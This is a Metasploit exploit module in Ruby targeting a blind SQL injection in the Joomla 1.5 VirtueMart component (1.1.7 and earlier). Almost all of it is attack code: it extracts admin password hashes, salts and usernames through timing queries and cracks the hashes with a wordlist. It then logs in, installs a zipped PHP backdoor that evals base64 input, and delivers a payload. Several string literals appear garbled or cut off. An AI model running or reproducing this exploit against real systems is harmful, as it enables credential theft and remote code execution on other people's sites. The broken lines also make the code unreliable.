require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',
'Description'=> %q{
A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies
unauthenticated time-based blind SQL injection in the "page" variable of the
virtuemart component. This vulnerability allows an attacker to gain information
from the database with specially crafted URLs taking advantage of the MySQL
benchmark. This issue was patched in version 1.1.7a.
},
'Author' =>
[
'TecR0c',
'mr_me',
],
'License'=>MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17132/' ],
[ 'URL','http://www.stratsec.net/Research/Advisories/' ],
],
'Privileged' =>false,
'Platform' => 'php',
'Arch' =>ARCH_PHP,
'Targets'=> [[ 'Automatic', { }]],
'DisclosureDate' => 'Feb 11 2011',
'DefaultTarget'=> 0 ))
register_options(
[
OptString.new('JDIR', [true, 'Joomla directory', '/']),
OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),
OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
OptString.new('WLIST', [true,
'Wordlist location',
'/home/foo/bar.txt'
]),
OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),
OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),
OptString.new('JQRY', [false,
'URI to trigger bug',
'index.php?option=com_virtuemart&page=1'
])
], self.class)
end
def init_cookie(data, cstr = true)
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
if ( data )
data = data.split(', ')
ctmp = ''
tmps = {}
data.each do | x |
x = x.split(';')[0]
if ( x =~ /([^;\s]+)=([^;\s]+)/im )
k = $1
v = $2
if ( v.length() > 0 )
tmps[k] = v
print_status("Got Cookie: #{k} => #{v}");
end
end
end
if ( cstr == true )
tmps.each do |x,y|
ctmp << "#{x}=#{y};"
end
tmps['cstr'] = ctmp
end
return tmps
else
init_debug("No cookies within the given response")
end
end
def init_debug(resp, exit = 0)
if ( exit.to_i > 0 )
exit(0)
end
end
def http_post(url, data, headers = {}, timeout = 15)
proto = datastore['SSL'] ? 'https': 'http'
url = url.length ? url: ''
headers['User-Agent'] = headers['User-Agent']?
headers['User-Agent'] : datastore['AGNT']
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "application/x-www-form-urlencoded"
headers['Content-Length'] = data.length
headers['Referer'] = headers['Referer']?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
headers.each do | hkey, hval |
if ( !hval )
headers.delete(hkey)
end
end
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method'=> 'POST',
'data'=> data,
'headers' => headers
},
timeout )
return resp
end
def http_post_multipart(url, data, headers = {}, timeout = 15)
bndr =Rex::Text.rand_text_alphanumeric(8)
proto = datastore['SSL'] ? 'https': 'http'
url = url.length ? url: ''
headers['User-Agent'] = headers['User-Agent']?
headers['User-Agent'] : datastore['AGNT']
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
headers['Referer'] = headers['Referer']?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
headers.each do | hkey, hval |
if ( !hval )
headers.delete(hkey)
end
end
temp = ''
data.each do |name, value|
if ( value.is_a?(Hash) )
filename = value['filename'] ? value['filename']:
init_debug("Filename value missing from #{name}", 1)
contents = value['contents'] ? value['contents']:
init_debug("Contents value missing from #{name}", 1)
mimetype = value['mimetype'] ? value['mimetype']:
init_debug("Mimetype value missing from #{name}", 1)
encoding = value['encoding'] ? value['encoding']: "Binary"
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"
; filename=\"#{filename}\"\r\n"
temp << "Content-Type: #{mimetype}\r\n"
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
temp << "\r\n"
temp << "#{contents}\r\n"
else
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
temp << "\r\n"
temp << "#{value}\r\n"
end
end
temp << "--#{bndr}--\r\n"
data = temp
headers['Content-Length'] = data.length
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method'=> 'POST',
'data'=> data,
'headers' => headers
},
timeout)
return resp
end
def http_get(url, headers = {}, timeout = 15)
proto = datastore['SSL'] ? 'https': 'http'
url = url.length ? url: ''
headers['User-Agent'] = headers['User-Agent']?
headers['User-Agent'] : datastore['AGNT']
headers['Referer'] = headers['Referer']?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
headers.each do | hkey, hval |
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
headers.delete(hkey)
end
end
resp = send_request_raw({
'uri' => datastore['JDIR'] + url,
'headers' => headers,
'method'=> 'GET',
}, timeout)
return resp
end
def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil )
wait = 0
table = table ? table: 'users'
sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\
+MD5(1)),+0)+FROM+
tnum = tnum ? tnum: datastore['BMRC']
tnum.to_i.times do | i |
bmc1 = Time.now.to_i
init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
bmc2 = Time.now.to_i
wait += bmc2 - bmc1
end
return ( wait.to_i / tnum.to_i )
end
def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil )
wait = 0
table = table ? table: 'users'
sqli = (
"'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page")
tnum = tnum ? tnum: datastore['BMRC']
tnum.to_i.times do | i |
bmc1 = Time.now.to_i
init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
bmc2 = Time.now.to_i
wait += bmc2 - bmc1
end
return ( wait.to_i / tnum.to_i )
end
def get_password(hash, salt, opts = nil)
wlst = datastore['WLIST']
cntr = 0
print_status("Attempting to crack admin password hash")
if ( hash.length != 32 )
print_error("Invalid Joomla MD5 hash: #{hash.to_s}")
return nil
end
if ( !File.exist?(wlst) )
print_error("Unable to load wordlist: #{wlst}")
return nil
else
list = File.readlines(wlst)
end
print_status("Loaded #{list.count.to_s} words from the specified list")
print_status("This may take quite some time ...")
bmc1 = Time.now.to_i
list.each do | word |
word = word.strip
cntr = cntr + 1
if ( hash == Rex::Text.md5(word + salt) )
print_status("Successfully cracked the following hash")
print_status("#{hash} => #{salt} == #{word}")
bmc2 = Time.now.to_i
bmc3 = bmc2 - bmc1
bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
print_status("Operation completed in #{bmc3}")
return word
end
end
print_error("Unable to crack the following hash")
print_error("#{hash} => #{salt} == ???")
bmc2 = Time.now.to_i
bmc3 = bmc2 - bmc1
bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
print_status("Operation completed in #{bmc3}")
return nil
end
def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw)
tot1 = Time.now.to_i
reqc = 0
retn = String.new
for i in snum..slim
oset = ( i - snum ) + 1
for cbit in cset
cbit.each do | cchr |
bmc1 = Time.now.to_i
bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})",
hdrs,"users", sqlw, datastore['BMRC'])
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
retn << cchr
break
end
reqc += 1
end
end
if ( oset != retn.length )
print_error("Unable to extract character
. Extraction failed!")
return nil
end
end
tot2 = Time.now.to_i
tot3 = tot2 - tot1
print_status("Found data: #{retn}")
print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)")
return retn
end
def check
print_status("Attempting to determine virtuemart version")
resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml")
if ( resp.body =~ /<version>([^\s]+)<\/version>/ )
vers = $1.strip
ver1, ver2, ver3 = vers.split(/\./)
if ( ver3.to_i >= 7)
init_debug(resp)
print_status("Please confirm manually")
return Exploit::CheckCode::Safe
else
print_status("The target is running VirtueMart : #{vers}")
return Exploit::CheckCode::Vulnerable
end
else
print_error("Unable to determine Joomla version ...")
end
end
def exploit
tstr = Time.now.to_i.to_s
tmd5 = Rex::Text.md5(tstr)
load = payload.encoded
resp = http_get("index.php?option=com_virtuemart&page=1")
cook = init_cookie(resp)
hdrs = { "Cookie" => cook['cstr'] }
print_status("Calculating target response times")
print_status("Benchmarking #{datastore['BMRC']} normal requests")
datastore['BMC0'] = sql_benchmark("1=2", hdrs)
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
print_status("Benchmarking #{datastore['BMRC']} delayed requests")
bmc1 = sql_benchmark("1=1", hdrs)
print_status("Delayed request avg: #{bmc1.to_s} seconds")
bmct = bmc1 - datastore['BMC0']
if ( bmct.to_i < datastore['BMDF'].to_i )
print_error("your benchmark threshold is small, or host is not vulnerable")
print_error("increase the benchmark threshold adjust the value of the BMDF")
print_error("increase the expression iterator adjust the value of the BMCT")
return
else
print_status("Request Difference: #{bmct.to_s} seconds")
end
atot = 0
scnt = 0
step = 10
slim = 10000
snum = ( !defined?(auid) ) ? 62: auid
print_status("Calculating total number of administrators")
for i in 0..slim do
bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC'])
if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )
atot = i
print_status("Successfully confirmed #{atot.to_s} admin accounts")
break
end
end
while ( snum < slim && scnt < atot )
print_status("Attempting to find a valid admin ID")
print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
for i in snum.step(slim, step)
bmcv = 0
bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC'])
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
itmp = i
break
else
if ( i == slim )
print_error("Unable to find a valid user id. Exploit failed!")
return
end
end
end
for i in ( snum ).upto(( itmp ))
bmcv = 0
auid = 0
bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25",
datastore['BMRC'])
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
auid = i
print_status("Found a valid admin account uid : #{auid.to_s}")
scnt += 1
break
else
if ( i == ( itmp + step ) )
print_error("Unable to find a valid user id. Exploit failed!")
return
end
end
end
hdic = [ ('a'..'f'), ('0'..'9') ]
sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
print_status("Attempting to gather admin password hash")
if ( auid != 0 && !( hash = get_users_data(
hdrs,
1,
32,
hdic,
"password",
"id=#{auid.to_s}"
) ) )
print_error("Unable to gather admin pass hash. Exploit failed!!")
return
end
print_status("Attempting to gather admin password salt")
if ( auid != 0 && !( salt = get_users_data(
hdrs,
34,
65,
sdic,
"password",
"id=#{auid.to_s}"
) ) )
print_error("Unable to gather admin pass salt. Exploit failed!!")
return
end
if ( auid != 0 )
pass = get_password(hash, salt)
end
if ( auid != 0 && pass )
print_status("Attempting to determine target username length")
for i in 1.upto(150)
bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs,
"users", "id=#{auid.to_s}", datastore['BMRC'])
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
ulen = i
print_status("The username is #{i.to_s} characters long")
break
end
end
print_status('Gathering admin username')
if ( !( user = get_users_data(
hdrs,
1,
ulen,
udic,
"username",
"id=#{auid.to_s}"
) ) )
print_error("Unable to gather admin user name. Exploit failed!!")
return
end
print_status("Attempting to extract a valid request token")
resp = http_get("administrator/index.php")
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
rtok = $1
print_status("Got token: #{rtok}")
else
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp)
return
end
cook = init_cookie(resp)
hdrs = { "Cookie" => cook['cstr'] }
print_status("Attempting to login as: #{user}")
post = "username=
〈=&option=com_login&task=login&
resp = http_post("administrator/index.php", post, hdrs)
if ( resp && resp.code == 303 )
print_status("Successfully logged in as: #{user}")
else
print_error("Unable to authenticate. Exploit failed!")
init_debug(resp)
return
end
print_status("Attempting to extract refreshed request token")
resp = http_get("administrator/index.php?option=com_installer",hdrs)
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
rtok = $1
print_status("Got token: #{rtok}")
else
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp.body)
return
end
cstr = "joomla"
czip = "com_#{cstr}.zip"
curi = "components/com_#{cstr}/#{cstr}.php"
wrap= "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"
print_status("Attempting to upload payload wrapper component")
data = {
'install_package' =>
{
'filename' =>czip,
'contents' =>wrap,
'mimetype' => 'application/zip',
'encoding' => 'binary',
},
"installtype"=> "upload",
"task" => "install.install",
"#{rtok}"=> "1",
}
init_debug(http_post_multipart("administrator/index.php?option=\
com_installer&view=install", data, hdrs))
init_debug(http_post(curi, Rex::Text.encode_base64(load)))
handler
return
else
print_error("Failed to crack hash. Searching for new admin account ...")
end
snum += 1
end
print_error("Unable to crack any admin hashes. Try a better wordlist?")
return
end
end